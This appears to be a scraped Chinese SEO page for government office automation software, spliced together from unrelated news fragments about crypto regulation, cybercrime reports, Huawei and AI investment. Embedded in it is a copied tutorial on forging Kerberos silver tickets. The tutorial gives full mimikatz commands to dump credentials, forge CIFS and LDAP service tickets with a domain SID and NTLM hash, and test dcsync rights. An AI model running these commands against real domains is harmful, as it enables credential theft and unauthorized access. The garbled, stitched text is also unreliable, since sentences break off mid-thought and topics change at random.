炎陵县政府机关oa：怒江政府办公oa系统中内网学习笔记 | 29、白银票据

炎陵县政府机关oa：怒江政府办公政务OA系统中内网学习笔记 | 29、白银票据极采用数字化解决方案来提升工作效率和提供更加透明的服务。oa政府公文系统作为一种重要的数字化工具，被广泛应用于政府机构中白银票据与黄金票据的区别： 1、白银票据不经过 kdc，因此白银票据日志相对于黄金票据会更少，同时白银票据的日志都在目标服务器上，域控上不会有日志 2、白银票据利用服务账户的哈希值，不同于黄金票据利用 krbtgt 账户的哈希值，因此白银票据更加隐蔽，但白银票据的权限就远不如黄金票据的权限了 想利用白银票据需要先知道以下信息： 域名 域 sid 目标服务器的 fqdn 即完整的域名 可利用的服务 服务账户的 ntlm 哈希 伪造的用户


菲律宾经济特区起草加密资产相关法规，计划发放25个交易所许可证:

菲律宾政府所有的经济特区的权威正在起草加密资产的规则，并计划将其发行的许可证数量限制在25个。其他规则包括要求在两年内投资至少100万美元。 据菲律宾政府新闻通讯社philippine news agency报道，菲律宾的cagayan经济特区（ceza）是制定保护加密资产投资者的规则。 ceza是政府拥有和控制的机构，负责管理卡加延经济特区和自由港事务。据新闻媒体报道：ceza计划成为金融科技投资中心。 lambino在本周的一份声明中表示，该机构：将继续严格审查那些有意在菲律宾启动ico的公司的诚信。这些公司将在ceza注册。 数字资产系统研发咨询下方原文链接：菲律宾经济特区起草加密资产相关法规，计划发放25个交易所许可证

2014年腾讯雷霆行动发布网络黑色产业链年度报告:

据雷霆行动大数据分析，此类网络诈骗人员主要分布在广西、广东、海南和福建等重点区域。　　 ；苏州网络招嫖案是十大案例中的唯一涉黄案件，由警方跨江苏、湖南、辽宁和广东四省进行打击。　　 十大案例中不得不提广西南宁“村长”钓鱼案。 广西南宁市公安局网络安全保卫支队副支队长梁欢庆表示，社工聊天诈骗在南宁市宾阳县一带比较活跃。 “我们期待与政府、警方、各大互联网企业、银行、运营商和第三方安全机构等一起建立跨平台、跨行业联动打击网络黑产机制。

禁止与华为讨论技术标准？高通、英特尔3gpp上限制员工交流:

实际上，美国商务部并没有禁止科技公司和华为的接触。5 月 16 号，它将华为列入黑名单，禁止华为在没有政府许可的情况下与美国公司做交易。 不再有非正式洽谈工程师和系统架构师一般代表雇主参加第三代合作伙伴项目（3gpp）会议。这是一个由行业协会组成的全球联盟，目的是在 2020 年 3 月份之前制定 5g 技术的相关标准。 美国财政部长斯蒂芬·姆努钦在本周日表示，如果美国在与中国贸易方面取得进展，特朗普总统可能会放松美国对华为的限制——但如果两方无法达成协议，则华盛顿将维持关税以削减赤字。 「我认为总统所说的是，如果我们在贸易磋商中有了进展，或许他愿意为华为做一些事情——如果他能够从中国方面获得一些宽慰、获得某些保证。」姆努钦表示。「但这些都是国家安全问题。」? 美国财政部长斯蒂芬·姆努钦。为了减少美国的贸易逆差，并打击所谓的不公平贸易行为，华盛顿对中国的部分商品加征了进口关税。?

苹果或将共享iphone x面部识别数据；京东为ai设千亿投资基金 | dt数读:

2 京东金融面向全球ai人才，设千亿投资基金据凤凰网，11月6日，由京东金融与红杉资本联合主办的首届“jdd-2017京东金融全球数据探索者大会”在北京举办。 此外，主办方设立了千亿投资基金对接获胜团队。即日起，所有赛组和赛区均可通过“jdd—2017京东金融全球数据探索者大赛”的官方网站进行报名。 一旦实践成熟了，应当在其中抽取部分规则纳入未来的《政府数据公开法》中，上升为法律原则。 何渊还建议，在数据消亡阶段，有关部门应通过行政立法的方式规定不同类型的政府数据必须删除的最长时间，需要政府通过法律或行政法规的方式正式赋予公民“被遗忘权”。 【行业·资讯】▍大数据行业首部《自律公约》将于明年1月发布据经济参考网，伴随平台需求量的暴涨和行业发展的鱼龙混杂，大数据行业或将迎来统一的约束机制。

炎陵县政府机关oa：怒江政府办公政务OA系统中内网学习笔记 | 29、白银票据

oa政府公文系统的概念、优势以及应用案例，旨在展示其在提升政府效率和透明度方面的关键作用。一、oa政府公文系统的概念oa政府公文系统是指一种基于信息化技术的公文处理系统，旨在实现政府机构内部公文的电子化管理和流转。该系统通过数字化处理公文的各个环节，包括起草、审批、签发、传阅、归档等，以提高政府工作的效率和准确性。同时，oa政府公文系统还可以提供实时的公文跟踪和查询功能，使政府工作更加透明和可追溯。二、oa政府公文系统的优势提升工作效率：传统的纸质公文处理流程繁琐且耗时，容易出现文件遗失和延误等问题。而oa政府公文系统的数字化处理流程可以大大提高工作效率，减少人力资源的浪费。工作人员可以通过系统快速起草、审批和传阅公文，避免了传统手写和纸质传递的繁琐过程。促进信息共享：oa政府公文系统可以实0、前言 白银票据（sliver ticket） 不同于黄金票据（golden ticket） kerberos 协议详解：https://teamssix.com/210923-151418.html 白银票据不与密钥分发中心 kdc 交互，因此没有了 kerberos 认证协议里的前 4 步，通过伪造的票据授予服务 tgs 生成伪造的服务票据 st 直接与服务器 server 进行交互。 白银票据与黄金票据的区别： 1、白银票据不经过 kdc，因此白银票据日志相对于黄金票据会更少，同时白银票据的日志都在目标服务器上，域控上不会有日志 2、白银票据利用服务账户的哈希值，不同于黄金票据利用 krbtgt 账户的哈希值，因此白银票据更加隐蔽，但白银票据的权限就远不如黄金票据的权限了 想利用白银票据需要先知道以下信息： 域名 域 sid 目标服务器的 fqdn 即完整的域名 可利用的服务 服务账户的 ntlm 哈希 伪造的用户名即任意用户名 1、伪造 cifs 服务权限 cifs 服务常用于 windows 主机之间的文件共享，首先使用 mimikatz 获取服务账户的 ntlm 哈希，这里使用的 username 为 dc$ 的 ntlm 哈希 代码语言：javascript 复制 .mimikatz.exe log "privilege::debug" "sekurlsa::logonpasswords" exit 得到 hash 后，清空当前系统中的票据，防止其他票据干扰 代码语言：javascript 复制 klist purge # 或者在 mimikatz 里清除 kerberos::purge 使用 mimikatz 生成伪造的白银票据 代码语言：javascript 复制 .mimikatz.exe "kerberos::golden /user:t /domain:teamssix.com /sid:s-1-5-21-284927032-1122706408-2778656994 /target:dc /rc4:ef9e49a41feaa171f642016fd4cb7e7a /service:cifs /ptt" exit 在伪造票据后，使用 dir 命令就能读取到目标的共享服务了。 2、伪造 ldap 服务权限 首先判断当前权限是否可以使用 dcsync 域控进行同步 代码语言：javascript 复制 .mimikatz.exe "lsadump::dcsync /dc:dc /domain:teamssix.com /user:krbtgt" exit 如果返回 error 说明当前权限不能进行 dcsync 操作 接下来生成 ldap 服务的白银票据 代码语言：javascript 复制 .mimikatz.exe "kerberos::golden /user:t /domain:teamssix.com /sid:s-1-5-21-284927032-1122706408-2778656994 /target:dc /rc4:ef9e49a41feaa171f642016fd4cb7e7a /service:ldap /ptt" exit 参考文章： https://cloud.tencent.com/developer/article/1760135 https://shu1l.github.io/2020/06/06/qian-xi-huang-jin-piao-ju-yu-bai-yin-piao-ju/ 原文链接： https://teamssix.com/211009-145524.html 往期推荐 内网学习笔记 | 28、黄金票据 内网学习笔记 | 27、kerberos 域用户提权漏洞 内网学习笔记 | 密码抓取

互联网法律动态报告（11月版）:

【知识产权】最高法发布《关于北京、上海、广州知识产权法院案件管辖的规定》；知识产权局采取措施防范电商领域专利侵权；奥巴马签署电子商标法案。 11月6日，日本国会众议院表决通过，旨在加强日本政府与民间在网络安全领域的协调和运用，更好应对网络攻击。       微软紧急宣布安全公告修复漏洞。 11月18日，北京市朝阳区人民法院依法公开宣判，判决被告单位北京尔玛天仙文化传播有限责任公司、北京尔玛互动营销策划有限公司，被告人杨秀宇、卢梅均构成非法经营罪。 11月3日，最高人民法院召开的最高法新闻发布会，发布《关于北京、上海、广州知识产权法院案件管辖的规定》。       国知局采取三方面措施防范电商领域专利侵权。 11月18日消息，苹果、谷歌、微软、facebook、雅虎在内的多家硅谷公司早已结成“政府监控改革”联盟，以此敦促美国政府通过《美国自由法案》。该法案旨在限制nsa等情报机构的大规模数据收集行为。

中美：人工智能将形成“双寡头”局面？:

欧亚集团（eurasia group）是全球最大的智库之一，长期关注政治趋势、商业影响、金融市场和境外投资形势的分析，客户包括大型投资银行、机构投资者、政府部门和各行业的跨国公司。 创新工场李开复和欧亚集团paul triolo都认为，目前有关中国人工智能发展的大多数媒体报道主要聚焦中美“人工智能竞赛”的可能性，一般会谣传令人危言耸听的潜在军事用途，甚至会产生关于杀手机器人的猜测。 例如第四范式（提供银行和金融机构人工智能解决方案）、追一科技（提供智能客服，服务中国移动、滴滴、携程旅行网等）。 若你拥有更多数据，那么你将拥有一个与人工智能关联性更强的产品。这样会使你拥有更多的用户，赚到更多的钱，聘用更多优秀的科学家，购买更多的机器，进而获得更多的数据。 中国人工智能政策具备强执行力和落地能力中国政府在实现成果方面拥有良好的记录，这些政策规划应被认真对待。举例来说，中国在2010年提出将成为高速铁路领域的世界领先者。现今，中国占有世界高速铁路的60%。

当ai触角伸向教育和医疗，背后在下一步大棋！:

如今“双减”政策落地，k12 业务受到强力监管和限制，教育的核心场景将更多转向学校和家庭，众多受到政策影响的机构和公司纷纷谋求转型，智慧教育赛道受到广泛关注。 换句话说，讯飞医疗的模式是通过人工智能系统的构建深度切入医生临床诊断流程，在医生诊断过程中给予辅助，从而提升基层医生的诊疗能力和服务水平。这一模式具备现实关怀意义。 此外，作为业界唯一通过国家执业医师资格考试笔试的系统，科大讯飞的智医助理系统能帮助医生对患者进行病情问询、体检预约、抗疫流调登记、新冠疫苗接种提醒、在线分析基层门诊病历，有效减轻基层医护人员的负担。 比如科大讯飞的城市超脑项目，目前初具雏形，已经与合肥、铜陵、聊城、宣城、三明、运城等城市落地合作。 铜陵城市超脑让城市疫情防控实现精细化管理 目前，福建三明「城市大脑」项目预期打造立体化的「智慧三明」，通过一个中心载体、两套体系支撑、三大城市中台、四大领域应用，打造「1+2+3+4」的「厦门大脑」体系

谷歌在中国的ai投资会成功吗？:

【新智元导读】谷歌在中国大陆一直因严格的政府审查而无法展开市场，随着ai的发展，谷歌正在中国大陆招聘工程师成立中国本地人才库，包括谷歌在乌镇的ai峰会，都是其寻求缓解与中国政府关系进行的尝试，但其能否突破政府监管仍存在重大疑问 （纳斯达克股票代码：googl）（纳斯达克股票代码：goog）进入中国时屡遭坎坷。 中国政府更是将人工智能列为五年计划的关键领域，召集百度加入，建立一个国家级的ai实验室。已经成熟的市场今年，谷歌在乌镇举办了一次ai峰会。 此外，谷歌云业务并未在中国开展。该业务需要和中国政府合作，才能符合把所收集数据储存在境内服务器上的规定。谷歌能否逆转局势？ 此前谷歌在举办乌镇ai峰会时，与当地政府有过合作，但非常有限。

转载请注明出处,本站网址：http://www.oa900.cn/news_202605162324.html